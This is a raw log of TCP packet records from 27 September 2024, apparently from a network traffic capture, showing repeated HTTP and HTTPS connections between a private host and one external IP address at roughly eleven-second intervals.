Sep 27, 2024 19:00:42.645319939 CEST	443	49781	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:42.645503998 CEST	49781	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:42.645827055 CEST	49781	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:42.645840883 CEST	443	49781	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:51.770786047 CEST	80	49780	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:51.770919085 CEST	49780	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:52.707068920 CEST	49780	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:52.707237005 CEST	49782	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:52.924556971 CEST	80	49782	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:52.924765110 CEST	49782	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:52.924864054 CEST	49782	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:52.926906109 CEST	80	49780	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:53.141872883 CEST	80	49782	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:53.142752886 CEST	80	49782	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:53.143043995 CEST	49782	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:53.144392967 CEST	49783	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:53.144490957 CEST	443	49783	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:53.144750118 CEST	49783	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:53.144996881 CEST	49783	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:53.145082951 CEST	443	49783	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:53.589903116 CEST	443	49783	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:53.590101004 CEST	49783	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:53.590560913 CEST	49783	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:53.590578079 CEST	443	49783	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:53.590672016 CEST	49783	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:53.590687990 CEST	443	49783	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:54.023852110 CEST	443	49783	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:54.024065971 CEST	49783	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:54.024168015 CEST	443	49783	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:54.024315119 CEST	443	49783	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:54.024327993 CEST	49783	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:54.024409056 CEST	49783	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:00:54.024465084 CEST	443	49783	185.86.211.137	192.168.11.20
Sep 27, 2024 19:00:54.024501085 CEST	49783	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:03.148333073 CEST	80	49782	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:03.148542881 CEST	49782	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:04.110892057 CEST	49782	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:04.111063957 CEST	49784	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:04.327799082 CEST	80	49784	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:04.328049898 CEST	49784	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:04.328171015 CEST	49784	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:04.328344107 CEST	80	49782	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:04.544675112 CEST	80	49784	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:04.545500040 CEST	80	49784	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:04.545697927 CEST	49784	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:04.546087980 CEST	49785	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:04.546190977 CEST	443	49785	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:04.546369076 CEST	49785	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:04.546514988 CEST	49785	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:04.546570063 CEST	443	49785	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:04.992825031 CEST	443	49785	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:04.993089914 CEST	49785	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:04.993478060 CEST	49785	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:04.993530989 CEST	443	49785	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:04.993554115 CEST	49785	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:04.993580103 CEST	443	49785	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:05.424490929 CEST	443	49785	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:05.424643040 CEST	49785	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:05.424684048 CEST	443	49785	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:05.424724102 CEST	443	49785	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:05.424920082 CEST	49785	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:05.424988031 CEST	49785	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:05.425031900 CEST	443	49785	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:14.555689096 CEST	80	49784	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:14.555952072 CEST	49784	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:15.483494997 CEST	49784	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:15.483592987 CEST	49786	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:15.700395107 CEST	80	49784	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:15.705209970 CEST	80	49786	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:15.705460072 CEST	49786	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:15.705539942 CEST	49786	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:15.927047968 CEST	80	49786	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:15.928312063 CEST	80	49786	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:15.928596020 CEST	49786	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:15.928895950 CEST	49787	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:15.928996086 CEST	443	49787	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:15.929220915 CEST	49787	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:15.929373026 CEST	49787	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:15.929439068 CEST	443	49787	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:16.376568079 CEST	443	49787	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:16.376806974 CEST	49787	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:16.377372980 CEST	49787	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:16.377386093 CEST	443	49787	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:16.377459049 CEST	49787	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:16.377471924 CEST	443	49787	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:16.814694881 CEST	443	49787	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:16.814985037 CEST	49787	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:16.814991951 CEST	443	49787	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:16.815148115 CEST	49787	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:16.815294027 CEST	49787	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:16.815361977 CEST	443	49787	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:25.938344955 CEST	80	49786	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:25.938666105 CEST	49786	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:26.903418064 CEST	49786	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:26.903561115 CEST	49788	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:27.124874115 CEST	80	49786	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:27.124948978 CEST	80	49788	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:27.125246048 CEST	49788	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:27.125247002 CEST	49788	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:27.346821070 CEST	80	49788	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:27.348969936 CEST	80	49788	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:27.349199057 CEST	49788	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:27.349623919 CEST	49789	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:27.349725962 CEST	443	49789	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:27.349986076 CEST	49789	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:27.350127935 CEST	49789	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:27.350189924 CEST	443	49789	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:27.797555923 CEST	443	49789	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:27.797712088 CEST	49789	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:27.798104048 CEST	49789	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:27.798156977 CEST	443	49789	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:27.798181057 CEST	49789	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:27.798207045 CEST	443	49789	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:28.232947111 CEST	443	49789	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:28.233026028 CEST	443	49789	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:28.233155012 CEST	49789	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:28.233203888 CEST	49789	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:28.233398914 CEST	49789	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:28.233407974 CEST	443	49789	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:37.357683897 CEST	80	49788	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:37.357809067 CEST	49788	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:38.290981054 CEST	49788	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:38.291471958 CEST	49790	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:38.508385897 CEST	80	49790	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:38.508641005 CEST	49790	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:38.508802891 CEST	49790	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:38.516444921 CEST	80	49788	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:38.726084948 CEST	80	49790	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:38.729651928 CEST	80	49790	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:38.729835033 CEST	49790	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:38.730532885 CEST	49791	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:38.730633974 CEST	443	49791	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:38.730815887 CEST	49791	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:38.731216908 CEST	49791	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:38.731287956 CEST	443	49791	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:39.176670074 CEST	443	49791	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:39.176845074 CEST	49791	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:39.177412987 CEST	49791	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:39.177465916 CEST	443	49791	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:39.177489996 CEST	49791	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:39.177515030 CEST	443	49791	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:39.609554052 CEST	443	49791	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:39.609829903 CEST	49791	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:39.609893084 CEST	443	49791	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:39.610034943 CEST	49791	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:39.610152960 CEST	49791	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:39.610208035 CEST	443	49791	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:48.731117964 CEST	80	49790	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:48.731414080 CEST	49790	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:49.679115057 CEST	49790	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:49.679305077 CEST	49792	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:49.895215988 CEST	80	49790	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:49.900585890 CEST	80	49792	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:49.900856972 CEST	49792	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:49.900963068 CEST	49792	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:50.122179031 CEST	80	49792	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:50.123106956 CEST	80	49792	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:50.123296022 CEST	49792	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:50.123619080 CEST	49793	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:50.123725891 CEST	443	49793	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:50.123920918 CEST	49793	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:50.124125957 CEST	49793	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:50.124207973 CEST	443	49793	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:50.570919037 CEST	443	49793	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:50.571115017 CEST	49793	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:50.571588993 CEST	49793	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:50.571643114 CEST	443	49793	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:50.571887970 CEST	49793	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:50.571943045 CEST	443	49793	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:51.006222010 CEST	443	49793	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:51.006433964 CEST	49793	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:51.006457090 CEST	443	49793	185.86.211.137	192.168.11.20
Sep 27, 2024 19:01:51.006694078 CEST	49793	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:51.006694078 CEST	49793	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:51.318228006 CEST	49793	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:01:51.318334103 CEST	443	49793	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:00.133315086 CEST	80	49792	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:00.133665085 CEST	49792	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:01.020291090 CEST	49792	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:01.020505905 CEST	49794	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:01.237093925 CEST	80	49794	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:01.237401962 CEST	49794	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:01.238559008 CEST	49794	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:01.241714001 CEST	80	49792	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:01.455189943 CEST	80	49794	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:01.456110001 CEST	80	49794	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:01.456330061 CEST	49794	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:01.457217932 CEST	49795	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:01.457302094 CEST	443	49795	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:01.457571030 CEST	49795	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:01.457726002 CEST	49795	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:01.457784891 CEST	443	49795	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:01.905447960 CEST	443	49795	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:01.905781031 CEST	49795	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:01.906157017 CEST	49795	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:01.906212091 CEST	443	49795	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:01.906337976 CEST	49795	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:01.906392097 CEST	443	49795	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:02.341303110 CEST	443	49795	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:02.341624975 CEST	49795	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:02.341691017 CEST	443	49795	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:02.341752052 CEST	443	49795	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:02.341855049 CEST	49795	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:02.341907978 CEST	49795	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:02.341908932 CEST	49795	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:02.341945887 CEST	443	49795	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:11.465914965 CEST	80	49794	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:11.466240883 CEST	49794	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:12.346055031 CEST	49794	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:12.346229076 CEST	49796	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:12.562685966 CEST	80	49794	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:12.562823057 CEST	80	49796	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:12.563111067 CEST	49796	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:12.563296080 CEST	49796	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:12.779524088 CEST	80	49796	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:12.780922890 CEST	80	49796	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:12.781141043 CEST	49796	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:12.781407118 CEST	49797	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:12.781502962 CEST	443	49797	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:12.781858921 CEST	49797	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:12.781984091 CEST	49797	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:12.782042980 CEST	443	49797	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:13.237277985 CEST	443	49797	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:13.237557888 CEST	49797	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:13.237926006 CEST	49797	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:13.237962008 CEST	443	49797	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:13.238065958 CEST	49797	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:13.238097906 CEST	443	49797	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:13.678240061 CEST	443	49797	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:13.678467989 CEST	443	49797	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:13.678497076 CEST	49797	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:13.678674936 CEST	49797	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:13.678800106 CEST	49797	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:13.678877115 CEST	443	49797	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:22.791115046 CEST	80	49796	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:22.791286945 CEST	49796	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:23.687239885 CEST	49796	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:23.687443972 CEST	49798	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:23.903985023 CEST	80	49796	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:23.909435034 CEST	80	49798	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:23.909728050 CEST	49798	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:23.909811020 CEST	49798	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:24.130908966 CEST	80	49798	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:24.132325888 CEST	80	49798	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:24.132559061 CEST	49798	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:24.132834911 CEST	49799	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:24.132889032 CEST	443	49799	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:24.133089066 CEST	49799	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:24.133234978 CEST	49799	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:24.133270025 CEST	443	49799	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:24.577528954 CEST	443	49799	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:24.577742100 CEST	49799	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:24.578108072 CEST	49799	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:24.578126907 CEST	443	49799	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:24.578253984 CEST	49799	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:24.578272104 CEST	443	49799	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:25.012916088 CEST	443	49799	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:25.013169050 CEST	443	49799	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:25.013199091 CEST	49799	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:25.013326883 CEST	49799	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:25.013480902 CEST	49799	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:25.013556957 CEST	443	49799	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:34.142062902 CEST	80	49798	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:34.142373085 CEST	49798	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:35.028558969 CEST	49798	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:35.029781103 CEST	49800	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:35.250329018 CEST	80	49798	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:35.250983000 CEST	80	49800	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:35.251301050 CEST	49800	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:35.251364946 CEST	49800	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:35.472635984 CEST	80	49800	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:35.473625898 CEST	80	49800	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:35.473915100 CEST	49800	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:35.474288940 CEST	49801	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:35.474391937 CEST	443	49801	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:35.474611044 CEST	49801	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:35.474807978 CEST	49801	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:35.474878073 CEST	443	49801	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:35.918673992 CEST	443	49801	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:35.918868065 CEST	49801	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:35.919250011 CEST	49801	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:35.919284105 CEST	443	49801	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:35.919367075 CEST	49801	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:35.919392109 CEST	443	49801	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:36.354542017 CEST	443	49801	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:36.354624987 CEST	443	49801	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:36.354754925 CEST	49801	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:36.355087996 CEST	49801	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:36.355113983 CEST	443	49801	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:45.478996038 CEST	80	49800	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:45.479332924 CEST	49800	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:46.369853020 CEST	49800	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:46.370003939 CEST	49802	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:46.587609053 CEST	80	49802	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:46.587934017 CEST	49802	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:46.588013887 CEST	49802	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:46.591991901 CEST	80	49800	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:46.805742025 CEST	80	49802	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:46.806739092 CEST	80	49802	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:46.806982040 CEST	49802	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:46.807219028 CEST	49803	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:46.807336092 CEST	443	49803	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:46.807526112 CEST	49803	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:46.807667017 CEST	49803	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:46.807725906 CEST	443	49803	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:47.250354052 CEST	443	49803	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:47.250535965 CEST	49803	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:47.250818968 CEST	49803	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:47.250832081 CEST	443	49803	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:47.250926971 CEST	49803	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:47.250942945 CEST	443	49803	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:47.686393023 CEST	443	49803	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:47.686614990 CEST	49803	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:47.686706066 CEST	443	49803	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:47.686842918 CEST	443	49803	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:47.686861038 CEST	49803	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:47.686902046 CEST	49803	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:47.686944008 CEST	443	49803	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:47.686968088 CEST	49803	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:56.812473059 CEST	80	49802	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:56.812782049 CEST	49802	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:57.773658037 CEST	49802	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:57.773802996 CEST	49804	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:57.990303993 CEST	80	49804	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:57.990598917 CEST	49804	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:57.990752935 CEST	49804	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:57.990775108 CEST	80	49802	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:58.207256079 CEST	80	49804	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:58.208281994 CEST	80	49804	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:58.208496094 CEST	49804	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:58.208811045 CEST	49805	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:58.208925009 CEST	443	49805	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:58.209131002 CEST	49805	443	192.168.11.20	185.86.211.137
